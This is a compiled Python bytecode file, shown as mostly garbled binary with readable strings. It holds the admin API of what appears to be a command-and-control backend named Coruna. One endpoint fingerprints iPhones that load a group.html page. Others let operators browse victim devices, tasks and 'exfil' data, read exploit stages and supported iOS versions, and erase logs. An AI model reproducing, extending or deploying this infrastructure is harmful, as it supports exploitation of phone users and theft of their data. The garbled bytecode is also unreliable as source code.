+
    Dd>j7                     "   R t ^ RIHtHtHtHtHtHt ^ RIH	t	H
t
 ^ RIHt ^ RIHt ^ RIHtHt ^ RIHtHt ^ RIHt ^ RIt^ RIt^ R	IHt ]! 4       t]! R
R.R7      t]	! RR7      tR R ltR R lt]! ]4      3R R llt]P?                  R4      ]! 4       3R R ll4       t . t!R R lt"]P?                  R4      ]! ]4      3R R ll4       t#]PI                  R4      R]! ]4      ]! ]4      3R R ll4       t%]PM                  R4      ^d]! ]4      ]! ]4      3R  R! ll4       t']PM                  R"]PP                  R#7      ]! ]4      ]! ]4      3R$ R% ll4       t)]PM                  R&]]PT                  ,          R#7      ^ ^dR]! ]4      ]! ]4      3R' R( ll4       t+]PM                  R)4      ]! ]4      ]! ]4      3R* R+ ll4       t,]PM                  R,]]PZ                  ,          R#7      ^ ^d]! ]4      ]! ]4      3R- R. ll4       t.]PM                  R/4      ^ ^d]! ]4      ]! ]4      3R0 R1 ll4       t/]PM                  R2]]P`                  ,          R#7      ^ ^d]! ]4      ]! ]4      3R3 R4 ll4       t1]PM                  R5]]P`                  ,          R#7      ^ ^dR]! ]4      ]! ]4      3R6 R7 ll4       t2]PM                  R8]]Pf                  ,          R#7      ^ ^dR]! ]4      ]! ]4      3R9 R: ll4       t4]PI                  R;4      ]! ]4      ]! ]4      3R< R= ll4       t5]PI                  R>4      ]! ]4      ]! ]4      3R? R@ ll4       t6]PI                  RA4      ]! ]4      ]! ]4      3RB RC ll4       t7]PM                  RD4      ]! ]4      3RE RF ll4       t8R# )Gu   管理员 API 路由)	APIRouterDependsHTTPExceptionstatusBodyRequest)OAuth2PasswordBearerOAuth2PasswordRequestForm)Session)List)datetime	timedelta)JWTErrorjwt)get_dbN)
get_configz
/api/adminadmin)prefixtagsz/api/admin/login)tokenUrlc                $    V ^8  d   QhR\         /# )   datadict)formats   "6/Users/wind/Downloads/Coruna-main/backend/api/admin.py__annotate__r      s      d     c                   V P                  4       p\        P                  ! 4       \        \        P
                  R7      ,           pVP                  RV/4       \        P                  ! V\        P                  \        P                  R7      pV# )u   创建访问令牌)minutesexp)	algorithm)copyr   utcnowr   configACCESS_TOKEN_EXPIRE_MINUTESupdater   encode
SECRET_KEY	ALGORITHM)r   	to_encodeexpireencoded_jwts   &   r   create_access_tokenr.      s_    		I__63U3U!VVFeV_%**Y(9(9VEUEUVKr   c                $    V ^8  d   QhR\         /# r   tokenstr)r   s   "r   r   r      s       r   c                     \         P                  ! V \        P                  \        P                  .R7      pV#   \
         d     R# i ; i)u   验证令牌)
algorithmsN)r   decoder%   r)   r*   r   )r1   payloads   & r   verify_tokenr8      s?    **UF$5$56CSCSBTU s   7: A	A	c                $    V ^8  d   QhR\         /# r0   r2   )r   s   "r   r   r   '   s      S r   c                d    \        \        P                  RRR/R7      p\        V 4      pVf   VhV# )u   获取当前管理员zCould not validate credentialsWWW-AuthenticateBearerstatus_codedetailheaders)r   r   HTTP_401_UNAUTHORIZEDr8   )r1   credentials_exceptionr7   s   &  r   get_current_adminrC   '   s=    )00/#X. 5!G##Nr   z/loginc                $    V ^8  d   QhR\         /# )r   	form_data)r	   )r   s   "r   r   r   7   s      . r   c                   V P                   \        P                  8w  g    V P                  \        P                  8w  d   \        \        P                  RRR/R7      h\        RV P                   /R7      pRVRR	R
V P                   /# )u*   
管理员登录认证
返回访问令牌
zIncorrect username or passwordr;   r<   r=   sub)r   access_token
token_typebearerusername)	rK   r%   
ADMIN_USERpassword
ADMIN_PASSr   r   rA   r.   )rE   rH   s   & r   loginrO   6   s     V...)2D2DHYHY2Y443'2
 	
 'UI4F4F,GHLhI&& r   c                $    V ^8  d   QhR\         /# )r   
user_agentr2   )r   s   "r   r   r   N   s     # #s #r   c                :   ^ RI pRRRRRR/pVP                  RV 4      pV'       dF   VP                  ^4      pVP                  ^4      '       d   VP                  ^4      MRpV RV 2VR&   R	V 9   dJ   VP                  R
V 4      pV'       d+   RVP                  ^4      P                  4       ,           VR&   MR	VR&   VR,          '       dQ   \	        VR,          P                  R4      ^ ,          4      pV^8  d   RVR&   V# V^8  d   RVR&   V# V^8  d   RVR&   V# )u&   从 User-Agent 解析 iOS 设备信息Nios_versiondevice_modelUnknownchipsetziPhone OS (\d+)[_]?(\d*)0.iPhoneziPhone\s*([\w\s]+?)(?:\s+|$|,)ziPhone zA17/A18zA15/A16zA13/A14)researchgroupstripfloatsplit)rQ   rZ   infomatchmajorminormodel_matchvers   &       r   parse_ios_inforf   N   s,   t	4D II1:>EA"'++a..Ac!&q0] :ii A:N#,{/@/@/C/I/I/K#KD #+D  MD'--c2156"9'DO K BY'DO K BY'DOKr   z/logs/recordc                0    V ^8  d   QhR\         R\        /# )r   requestdb)r   r
   )r   s   "r   r   r   v   s     K( K( K(g K(r   c                Z  "   V P                   P                  RR4      p V P                  4       G Rj  xL
 p\        V\        4      '       d   VP                  RV4      p \
        P                  ! TT P                  P                  TT P                   P                  RR4      RRR7       R
T9   g   RT9   g   RT9   d    \        T4      p^ RIpT P                  P                   RT 2pTP                  TP                  4       4      P                  4       R,          p\
        P                   ! Y4      p	T	'       g^   ^ RIHp
 T
! TTR,          TR,          TR7      p\
        P&                  ! YT P                  P                  R7      pTP)                  4        M\
        P*                  ! YR4        R\,        P.                  ! 4       P1                  4       RT P                  P                  RTRT P                   P                  RR4      RRRR/p\2        P5                  T4       \7        \2        4      R8  d   \2        P9                  ^ 4       RRRR/#  EL     EL; i  \         d   p\        R	T 24        Rp?ELRp?ii ; i  \         d   p\        RT 24        Rp?LRp?ii ; i5i)uf   
记录访问日志 - 公开端点
group.html 页面加载时调用
同时创建或更新设备记录
z
user-agent N	userAgentrefererz/group.htmlPOST)ri   iprQ   rm   pathmethodzError saving access log: rY   iPadiPod::N    N)DeviceRegisterrT   rS   )device_uuidrT   rS   rQ   )ro   onlinezError saving device: 	timestampro   rQ   rp   rq   i  okTlogged)r@   getjson
isinstancer   crudcreate_access_logclienthost	Exceptionprintrf   hashlibmd5r(   	hexdigest
get_deviceschemasrv   create_devicecommitupdate_device_statusr   r$   	isoformataccess_logsappendlenpop)rh   ri   rQ   bodyeios_infor   
unique_strrw   existing_devicerv   device_datadevice	log_entrys   &&            r   record_accessr   u   sI     $$\26J\\^#dD!!+z:J

/~~""!OO''	26	
 ::!5:9M	/%j1H #NN//0*>J!++j&7&7&9:DDFsKK #oob>O"2, +!).!9 ( 7)	 ++B@S@ST		))"8D 	X__&002gnn!!j7??&&y"5&I y! ;$$$''A $  /)!-../:  	/)!-..	/s   J+I I,I !A
I +J+CJ J+J 1B"J+I IJ+J)I=7J+=JJ+J(J#J+#J((J+z/logs/accessc                <    V ^8  d   QhR\         R\        R\        /# )r   idsr   ri   r3   r   r
   )r   s   "r   r   r      s&     * *	** 	*r   c                   V '       du    V P                  R4       Uu. uFA  q3P                  4       P                  4       '       g   K(  \        VP                  4       4      NKC  	  pp\        P
                  ! W$4      pM\        P
                  ! V4      pRRRV/# u upi   \         d   p\        RR\        T4       2R7      hRp?ii ; i)	un   
删除访问日志
- 如果指定IDs，则删除指定日志
- 如果不指定，则清空所有访问日志
,i  u   删除失败: r>   r?   Nrz   Tdeleted)	r_   r]   isdigitintr   delete_access_logsr   r   r3   )r   r   ri   xlog_idscountr   s   &&&    r   r   r      s     	S/2yy~U~!ARARAT~s1779~~GU++B8E ''+$	5)) V 	SC.Q8QRR	Ss.   B %BB$B B C)CCc                <    V ^8  d   QhR\         R\        R\        /# )r   limitr   ri   r   r   r
   )r   s   "r   r   r      s&       	r   c                t    \        \        4      V 8  d   \        V ) R M\        pRRR\        \        4      RV/# )u   
获取访问日志
Nrz   Ttotallogs)r   r   )r   r   ri   r   s   &&& r   get_access_logsr      s>     $'{#3e#;;vwDd[! r   z/stats)response_modelc                0    V ^8  d   QhR\         R\        /# )r   r   ri   )r   r
   )r   s   "r   r   r      s     $ $T $G $r   c                .    \         P                  ! V4      # )uQ   
获取仪表盘统计数据
包括设备、任务、外泄数据等统计信息
)r   get_admin_stats)r   ri   s   &&r   	get_statsr      s     ##r   z/devicesc          
      T    V ^8  d   QhR\         R\         R\        R\        R\        /# r   skipr   r   r   ri   r   r3   r   r
   )r   s   "r   r   r      s:     8 8
88 8 	8
 	8r   c                r   V'       d   ^ RI Hp \        RR.R7      P                  pVP	                  V4      P                  VP                  V8H  4      P                  V! VP                  4      4      P                  V 4      P                  V4      P                  4       pV# \        P                  ! W@VR7      # )u'   获取所有设备列表（管理员）desc..modelsDevicefromlistr   r   )
sqlalchemyr   
__import__r   queryfilterr   order_by	last_seenoffsetr   allr   get_devices)r   r   r   r   ri   r   r   devicess   &&&&&   r   list_all_devicesr      s     #J(<CC((6"))MMV#

(4(()
*66$<eSSU 	 B77r   z/devices/{device_uuid}/detailc                <    V ^8  d   QhR\         R\        R\        /# r   rw   r   ri   r   )r   s   "r   r   r   	  s&       	r   c           
     2   \         P                  ! W 4      pV'       g   \        RRR7      h\         P                  ! W 4      p\         P                  ! W ^ ^
R7      p\         P
                  ! W ^ ^
R7      p\         P                  ! W ^ ^R7      pRVRVRVRVR	V/# )
u'   获取设备详细信息（管理员）  Device not foundr   r   r   data_countsrecent_tasksrecent_exfilrecent_logs)r   r   r   get_device_data_countsget_device_tasksget_device_exfilget_device_logs)rw   r   ri   r   r   r   r   r   s   &&&     r   get_device_detailr     s     __R-F4FGG --b>K ((qKL ((qKL &&rQbIK 	&{{ r   z/logs/{device_uuid}c          
      T    V ^8  d   QhR\         R\        R\        R\        R\        /# r   rw   r   r   r   ri   r3   r   r   r
   )r   s   "r   r   r   )  sA     I II
I I 	I
 	Ir   c                2    \         P                  ! W@WR7      # )u'   获取指定设备日志（管理员）r   )r   r   rw   r   r   r   ri   s   &&&&&r   get_device_logs_adminr   (  s     dHHr   z/logsc                H    V ^8  d   QhR\         R\         R\        R\        /# )r   r   r   r   ri   r   )r   s   "r   r   r   5  s0     + +
++ + 		+r   c                   \         P                  ! W0VR7      p\         P                  ! W0VR7      p. pV F  pTP                  RRVP                   2RRRVP
                  '       d   VP
                  P                  4       MRRVP                  R	VP                  ;'       g    RR
VP                  RVP                  /4       K  	  V F  pTP                  RRVP                   2RRRVP
                  '       d   VP
                  P                  4       MRRVP                  RVP                  RVP                  RVP                  /4       K  	  VP                  R RR7       VRV # )uP   获取所有日志（管理员）- 返回访问日志和数据库日志的组合r   idaccess_typeaccessry   rk   ro   rQ   rp   rq   db_r   rw   stagemessage	log_levelc                     V R ,          # )ry    )r   s   &r   <lambda>get_all_logs.<locals>.<lambda>^  s    +r   T)keyreverseN)r   r   get_all_logsr   r   
created_atr   ro   rQ   rp   rq   rw   r   r   r   sort)r   r   r   ri   access_logs_dbdevice_logs_dbcombinedlogs   &&&&    r   r   r   4  s<    ))"uEN &&rEBN H GCFF8$Hs~~~1132#&&#....BCHHcjj
 	  Cx.Hs~~~11323??SYYs{{
 	  MM.M=FUr   z/exfil/{device_uuid}c          
      T    V ^8  d   QhR\         R\        R\        R\        R\        /# r   r   )r   s   "r   r   r   d  sA     J JJ
J J 	J
 	Jr   c                2    \         P                  ! W@WR7      # )u-   获取指定设备外泄数据（管理员）r   )r   r   r   s   &&&&&r   get_device_exfil_adminr   c  s       tIIr   z/exfilc          
      T    V ^8  d   QhR\         R\         R\        R\        R\        /# )r   r   r   categoryr   ri   r   )r   s   "r   r   r   p  s:     
6 
6

6
6 
6 	
6
 	
6r   c                r    V'       d   \         P                  ! WBWR7      # \         P                  ! W@VR7      # )u'   获取所有外泄数据（管理员）r   )r   get_exfil_by_category	get_exfil)r   r   r   r   ri   s   &&&&&r   get_all_exfilr   o  s+     ))"TOO>>"u55r   z/tasksc          
      T    V ^8  d   QhR\         R\         R\        R\        R\        /# r   r   )r   s   "r   r   r   ~  sA     Z Z
ZZ Z 	Z
 	Zr   c                   ^ RI Hp ^ RIHp V'       d{   VP	                  V4      P                  VP                  V8H  4      P                  V! VP                  4      4      P                  V 4      P                  V4      P                  4       pV# VP	                  V4      P                  V! VP                  4      4      P                  V 4      P                  V4      P                  4       # )u'   获取所有任务列表（管理员）r   )Task)r   r   modelsr  r   r   r   r   r   r   r   r   )r   r   r   r   ri   r   r  taskss   &&&&&   r   get_all_tasks_adminr  }  s      %%KK6!

(4(
)&&,uuU|CCE 	 88D>""4#89@@FLLUSWWYYr   z/devices/{device_uuid}c                <    V ^8  d   QhR\         R\        R\        /# r   r   )r   s   "r   r   r     s+     D DDD 	Dr   c                `    \         P                  ! W 4      '       d   RRRR/# \        RRR7      h)u   删除设备（管理员）rz   Tr   zDevice deletedr   r   r   )r   delete_devicer   )rw   r   ri   s   &&&r   delete_device_adminr    s3     "**dI'788
C0B
CCr   z/tasks/{task_id}c                <    V ^8  d   QhR\         R\        R\        /# )r   task_idr   ri   r   )r   s   "r   r   r     s+     B BBB 	Br   c                `    \         P                  ! W 4      '       d   RRRR/# \        RRR7      h)u   删除任务（管理员）rz   Tr   zTask deletedr   zTask not foundr   )r   delete_taskr   )r
  r   ri   s   &&&r   delete_task_adminr    s2     $$dI~66
C0@
AAr   z/exfil/{exfil_id}c                <    V ^8  d   QhR\         R\        R\        /# )r   exfil_idr   ri   r   )r   s   "r   r   r     s&     ; ;;; 	;r   c                   \        RR.R7      P                  pVP                  V4      P                  VP                  V 8H  4      P                  4       pV'       g   \        RRR7      h^ RIpVP                  '       dH   VP                  P                  VP                  4      '       d    VP                  VP                  4       VP                  V4       VP                  4        RR	R
R/#   \         d     L4i ; i)u!   删除外泄数据（管理员）r   Exfilr   r   zExfil record not foundr   Nrz   Tr   zExfil record deleted)r   r  r   r   r   firstr   os	file_pathrp   existsremover   deleter   )r  r   ri   r  exfilr  s   &&&   r   delete_exfil_adminr    s     zWI6<<EHHUO""588x#78>>@E4LMM 277>>%//::	IIeoo&
 IIeIIK$	#9::  		s   +C- -C;:C;z/configc                $    V ^8  d   QhR\         /# )r   r   r   )r   s   "r   r   r     s      4 r   c           
         R\         P                  R\         P                  R\         P                  R\         P                  R\         P
                  /# )u!   获取配置信息（管理员）
server_urlsupported_versionsexploit_stagestask_timeoutheartbeat_interval)r%   CORUNA_SERVER_URLSUPPORTED_IOS_VERSIONSEXPLOIT_STAGESTASK_TIMEOUTHEARTBEAT_INTERVAL)r   s   &r   get_config_infor&    sE     	f..f;;&//++f77 r   )9__doc__fastapir   r   r   r   r   r   fastapi.securityr   r	   sqlalchemy.ormr
   typingr   r   r   joser   r   databaser   r   r   r%   r   routeroauth2_schemer.   r8   rC   postrO   r   rf   r   r  r   r|   r   
AdminStatsr   	DeviceOutr   r   DeviceLogOutr   r   ExfilOutr   r   TaskOutr  r  r  r  r&  r   r   r   <module>r6     s    L L L "  (    		,gY	7 %.@A $+=#9  X18  * #N ^8? K( K(\ ~+,&/* *, N+,&/   HW%7%78#$56gfo $ 9$ JtG,=,='>?+,&/8 @8$ +, +,&/ -> !$w7K7K2LM +,&/I NI G+,&/	+ +\ "48H8H3IJ +,&/J KJ HT'*:*:%;<+,&/
6 =
6 HT'//%:;+,&/Z <Z( '( +,&/D )D !" +,&/B #B "# +,&/; $;6 I")*;"<  r   